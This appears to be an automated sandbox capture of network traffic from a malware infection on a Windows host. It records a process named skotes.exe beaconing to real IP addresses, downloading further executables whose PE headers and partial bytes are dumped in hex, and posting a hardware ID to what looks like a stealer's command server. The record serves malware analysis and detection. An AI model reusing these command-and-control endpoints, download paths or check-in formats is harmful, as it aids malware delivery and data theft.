Nov 1, 2024 05:02:08.838062048 CET	212	IN	Data Raw: db fe 82 17 64 f7 9a 22 a8 08 50 cb 24 6d 77 04 fe 9a 53 c8 30 4b c0 a5 c2 03 92 ee 7e bf 8a 29 20 ce 1a 1c 11 3e 6c 6e b7 bd cc 62 4c aa dc c0 af b6 09 1c f9 5e ae fd 5b 0d e1 fa 6c 51 5d e7 03 86 30 8e ba 93 c3 80 44 7b 90 e9 75 01 58 4f 23 b8 Data Ascii: d"P$mwS0K~) >lnbL^[lQ]0D{uXO#UO\|99WScUC(Y3v\=%aqtxN-w0,n63u>K6Ddo9`\|wJw2D,v+5\|K2
Nov 1, 2024 05:02:08.838074923 CET	1236	IN	Data Raw: be ca 2f 20 76 94 5b c5 c0 a8 70 8c 88 7c e3 7a 58 5e da 5f 7b bc a9 d6 e0 0e db 4b a8 82 08 9c 01 cd 3c ee 3b 8a 4b 6d b4 79 47 7d d6 4e 69 05 1c 7d bc 81 06 92 0e 6b db b7 f0 c3 d3 86 68 62 0b f2 38 45 e8 f2 5c 80 25 ff 9e 62 c0 67 52 2d 99 30 Data Ascii: / v[p\|zX^_{K<;KmyG}Ni}khb8E\%bgR-0hik@Y2\4p\|ku:rJir'2txT.[Gwhl$J]8;)n;<<4,#o>FkdMD9;}^9l#
Nov 1, 2024 05:02:08.838092089 CET	1236	IN	Data Raw: a7 b7 c6 f6 76 f3 7a f7 f5 47 a7 92 d4 ca e9 b5 d0 4e d0 2e a0 78 09 79 76 0c 50 61 e6 72 6e 3c bc 42 75 5e b4 a7 5a ac c9 0a 1b 18 0c 9e 66 2e f4 56 f7 c0 c0 ed c6 c6 47 05 58 e2 90 77 2a b9 61 cd b8 c8 e6 27 ab a9 a6 4d 71 4f d1 58 dc e5 0c 88 Data Ascii: vzGN.xyvParn<Bu^Zf.VGXwa'MqOXH,0HB`zk-^I'aPuM=gp:^s24eZ{nMk6P<fKYzPJo]~[5nRm]fBP~q>q3
Nov 1, 2024 05:02:08.842814922 CET	1236	IN	Data Raw: dc c4 58 1b d3 8f 34 5c 7a 94 56 4e dc 94 ad 13 bd 5f de 06 56 3a 59 9e db f0 39 08 41 cf 3c a4 82 21 5e 61 0b 4b c9 2e 89 11 31 02 af 91 1f 07 52 ab ab c5 ff a6 ca 28 b4 cb 3f 02 be 33 f0 4a c9 78 53 c5 e4 e4 e8 70 b2 de a8 8d fb a6 f8 28 c2 57 Data Ascii: X4\zVN_V:Y9A<!^aK.1R(?3JxSp(Wk`6{'.J`\|0#)< @lq-HA/8OKA3\|<!m:FMQa5;4~'Y%Z1*pcJDBisvyv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	59843	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:17.199408054 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003085001&unit=246122658369
Nov 1, 2024 05:02:18.098007917 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	59845	185.215.113.16	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:18.106363058 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 05:02:19.013703108 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:18 GMT Content-Type: application/octet-stream Content-Length: 2137600 Last-Modified: Fri, 01 Nov 2024 03:42:46 GMT Connection: keep-alive ETag: "67244e36-209e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 c2 42 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@rB!@P.d. p.v@.rsrc .@.idata .@ ).@cbbjugzkX@lfmofsyxprx @.taggant0r"\| @
Nov 1, 2024 05:02:19.013736963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:19.013760090 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:19.013856888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:19.013874054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: X<{%L
Nov 1, 2024 05:02:19.014055967 CET	1236	IN	Data Raw: a5 e7 80 41 3c 5e fa 34 f9 a3 09 72 06 a4 f6 bf cb ed 9c 13 03 e1 e9 95 41 42 e5 93 af 3b 01 31 24 96 28 67 fb d8 f2 66 d1 0f 9c 6a 3e ab df cf f5 b9 85 25 2d ef 82 4e b2 a2 8e 14 f6 24 38 4b ec 2f 14 6b 5b a4 90 c7 28 3d 38 b5 f9 8e cc 5d 1c be Data Ascii: A<^4rAB;1$(gfj>%-N$8K/k[(=8]9WN]]zmw"/8W49W5qH%UrOgkY,23*>U2"Yj\|}8#k)az"T=(7hMyu!_Ntq=E7b ?C2TtAE
Nov 1, 2024 05:02:19.014071941 CET	1236	IN	Data Raw: 31 49 11 6f 97 fb c2 35 1e c2 ab fd 13 72 dd a7 14 59 da 2f 32 5f f4 79 5e b7 f7 cf df 77 42 3e b9 63 6f 24 fb 2b ff 7d b6 7f cc bc 48 08 03 be 2d 0a 12 2d c7 30 86 7d 5a b7 8b 3a 7f a0 19 2b 4c 01 8d b5 a4 ca 8c 65 d0 d1 0b 48 35 2e 7d 90 33 4a Data Ascii: 1Io5rY/2_y^wB>co$+}H--0}Z:+LeH5.}3J\|[eCBM$i4<1t?T:_[7k<:s#5,D"9Y$-LoeR,[cg_kT# *BY75n.--b24_tR
Nov 1, 2024 05:02:19.014086008 CET	1236	IN	Data Raw: ab fa 32 24 9a b3 44 27 f2 38 86 ff 5a 84 df 60 66 91 84 15 fc 64 8d 61 5b 86 f5 24 d9 ce c0 e3 16 8a 5c 24 6e aa 77 b9 e3 0a d9 5b da 82 84 7d 12 85 28 b4 c5 4c 04 8c b5 61 84 f3 f9 46 23 5b b7 4e 6d 33 e2 2e 3e 7e 20 2e 2f 2e e4 ea d3 e7 36 8c Data Ascii: 2$D'8Z`fda[$\$nw[}(LaF#[Nm3.>~ ./.6F2O8,>lT.B9ND@>$Gf}rD~A8wn?O^ma+Mnvl\|+ D\#DUe36'3j.M"r=$.> Xa#ER.3D
Nov 1, 2024 05:02:19.014101982 CET	760	IN	Data Raw: ed 48 83 5b e4 c9 f8 24 aa 84 6e 44 ca 7a 56 23 fa 90 dd 16 33 38 04 24 86 64 19 2a e4 7b f9 24 fe 84 78 44 66 aa f3 ab 34 23 84 97 3e f0 db df 3d 79 0d 62 a7 bb 4d 33 f5 28 d3 03 1c 6a ff ab 46 91 db ff 6b 00 84 8c 11 0b 20 7b e4 bb 35 2c 47 86 Data Ascii: H[$nDzV#38$d{$xDf4#>=ybM3(jFk {5,G}NDj/--oOMO0"a`Z;}Y.T-G0m+*j ESf3DTjG+m~2>{{N9CRbB1FboY!%O-01'n+5Z$]
Nov 1, 2024 05:02:19.014301062 CET	1236	IN	Data Raw: e4 99 3d 24 35 28 c3 9b fc 83 a5 32 3a 62 06 05 04 98 57 98 54 44 8d 7b 5b 8a f5 24 87 cf c8 a3 9d 62 5c 24 fe aa b5 b8 0e a6 07 b5 f5 bb 8d 9b bd 09 99 2e 95 ec 2e dc 4e 22 f5 b1 bf 69 4d f7 a0 32 5c 24 c2 aa 20 b9 fe ba 54 f3 e5 6a 84 2c 1a ee Data Ascii: =$5(2:bWTD{[$b\$..N"iM2\$ Tj,HS=mw}NCMB:3bJz$OE.Qzd<{O>B[Zc=$p(:3T-N"n2R\+EmS3D%gSNE=swUM}+n!$r#:*nC3}B=HSD'60,=
Nov 1, 2024 05:02:19.018699884 CET	1236	IN	Data Raw: 77 da 22 f2 36 d2 78 be 0e 70 ce 95 61 a4 1d ff f5 ca fa f3 2a b5 7e 87 a7 6f e1 b0 3f f6 7d 8e 7d a8 45 ff a9 80 55 7c 3e ad 9b 6a 81 e2 40 c7 ac 55 ce ef 48 2b 61 39 24 27 64 d6 7d b1 b8 c2 41 24 ad 36 96 37 30 06 2b 20 08 37 3f b6 95 62 1b d0 Data Ascii: w"6xpa~o?}}EU\|>j@UH+a9$'d}A$670+ 7?b%XZ5jq:y(q rXc3N]0'3VIj69'(xCF'l+cjzkCq$u3)6:^'ly806fTj/X4VWH$y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	59851	185.215.113.206	80	4820	C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:26.335570097 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:02:27.254389048 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:02:27.267441034 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCAEGCBFHJDGCBFHDAF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 43 44 37 45 45 35 42 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 2d 2d 0d 0a Data Ascii: ------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="hwid"0EECD7EE5BE91041095265------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="build"tale------FHCAEGCBFHJDGCBFHDAF--
Nov 1, 2024 05:02:27.557318926 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	59852	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:26.732327938 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003086001&unit=246122658369
Nov 1, 2024 05:02:27.632427931 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	59854	185.215.113.16	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:27.672112942 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 05:02:28.573402882 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:28 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Fri, 01 Nov 2024 04:00:04 GMT Connection: keep-alive ETag: "67245244-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 3c 52 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL<R$g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Nov 1, 2024 05:02:28.573417902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 1, 2024 05:02:28.573429108 CET	424	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 1, 2024 05:02:28.573474884 CET	1236	IN	Data Raw: e3 0f 04 00 8b 8f fc fc ff ff 85 c9 0f 85 e9 0f 04 00 8d 8f e8 fc ff ff e8 2d 82 00 00 8d 8f d0 fc ff ff e8 9d 02 00 00 8b 8f c4 fc ff ff 85 c9 0f 85 d9 0f 04 00 89 9f cc fc ff ff 8b 8f b8 fc ff ff 85 c9 0f 85 d9 0f 04 00 8d 8f 6c fc ff ff 89 9f Data Ascii: -l\L_^[`t#05MI`tQF;dfqQVW3N>5N$-N4
Nov 1, 2024 05:02:28.573487997 CET	1236	IN	Data Raw: 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 14 88 51 18 89 41 2c 8b c1 89 51 20 89 51 28 88 51 30 c3 56 8b f1 83 26 00 8d 4e 08 e8 57 00 00 00 8d 8e 8c 00 00 00 e8 fe 8d 00 00 8d 8e 9c 00 00 00 e8 f3 Data Ascii: 0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSGfG____j[GSjG)ShG&Sh
Nov 1, 2024 05:02:28.573498964 CET	424	IN	Data Raw: 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d 79 01 51 89 3e e8 9c 07 00 00 85 c0 74 1c 89 0d 28 15 4d 00 8b 40 04 8b 00 66 39 58 08 75 05 83 38 21 74 0f 8b cf 84 d2 74 d5 5f 5e 33 c0 5b 5d c2 04 00 b2 Data Ascii: AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4AEAEARUE{lM
Nov 1, 2024 05:02:28.573509932 CET	1236	IN	Data Raw: 0b 74 42 83 e8 01 75 d4 85 c9 75 36 fe c3 89 55 d0 eb c9 8b 4d fc 8d 45 c8 50 81 c1 64 01 00 00 e8 e0 06 00 00 8b 45 0c 8d 4d e8 40 89 07 e8 d8 ad 00 00 8d 4d d8 e8 d0 ad 00 00 5f 5e 5b c9 c2 08 00 49 eb 97 41 eb 94 55 8b ec 81 ec b4 00 00 00 53 Data Ascii: tBuu6UMEPdEM@M_^[IAUSV3PF3uMMWMU]MMMMEEfMTEXf\MEEfM`EdfhlEpftxE\|f
Nov 1, 2024 05:02:28.573700905 CET	1236	IN	Data Raw: 85 7c ff ff ff 89 45 c8 e9 49 fc ff ff ff 45 f8 8d 45 ec 89 7d ec 8d 8d 60 ff ff ff 50 47 e8 8b 01 00 00 8b 85 64 ff ff ff 89 45 c4 e9 25 fc ff ff 83 7d f0 00 8b 55 f8 8b 5d fc 0f 85 1b fc ff ff 85 d2 0f 85 13 fc ff ff 85 db 0f 85 0b fc ff ff e9 Data Ascii: \|EIEE}`PGdE%}U]/EHOxE}Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;
Nov 1, 2024 05:02:28.573714018 CET	424	IN	Data Raw: 8b cb e8 f3 0c 00 00 57 b9 30 14 4d 00 e8 11 ac 00 00 80 3d 04 14 4d 00 00 75 07 8b cb e8 93 05 00 00 8b ce e8 b5 11 00 00 8d 44 24 38 50 ff 15 f8 c3 49 00 8d 4c 24 28 e8 15 6d 00 00 5f 5e 5b 8b e5 5d c2 04 00 55 8b ec 83 ec 34 53 56 57 6a 0f ff Data Ascii: W0M=MuD$8PIL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]u
Nov 1, 2024 05:02:28.573813915 CET	1236	IN	Data Raw: 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 89 45 f0 8b 45 0c 89 45 dc 8d 45 c4 50 89 75 e8 c7 45 ec ac c9 49 00 c7 45 cc 7d 99 41 00 ff 15 30 c7 49 00 Data Ascii: MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVWhP1IP}=
Nov 1, 2024 05:02:28.578327894 CET	1236	IN	Data Raw: 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 74 9e eb e5 0f 84 0a fc 03 00 8b c7 83 e8 01 74 25 83 e8 01 0f 85 9b fb 03 00 6a 01 56 ff 15 18 c7 49 00 b9 Data Ascii: -;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jPE3Mj[jZ-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	59856	185.215.113.16	80	2696	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:30.918121099 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 05:02:31.814042091 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:31 GMT Content-Type: application/octet-stream Content-Length: 2778624 Last-Modified: Fri, 01 Nov 2024 04:00:31 GMT Connection: keep-alive ETag: "6724525f-2a6600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 6b 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +kx`Ui` @ @.rsrc`2@.idata 8@cfyesryy :@gwntuilp @@.taggant@"D*@
Nov 1, 2024 05:02:31.814075947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:31.814088106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:31.814208031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:31.814218998 CET	748	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:31.814230919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:31.814244032 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:31.814414024 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:31.814424992 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Skt#$n)n\|&1Q(a&v[l\|9o0+s=}k%Ux"'_mv!^ll.cud\|:b
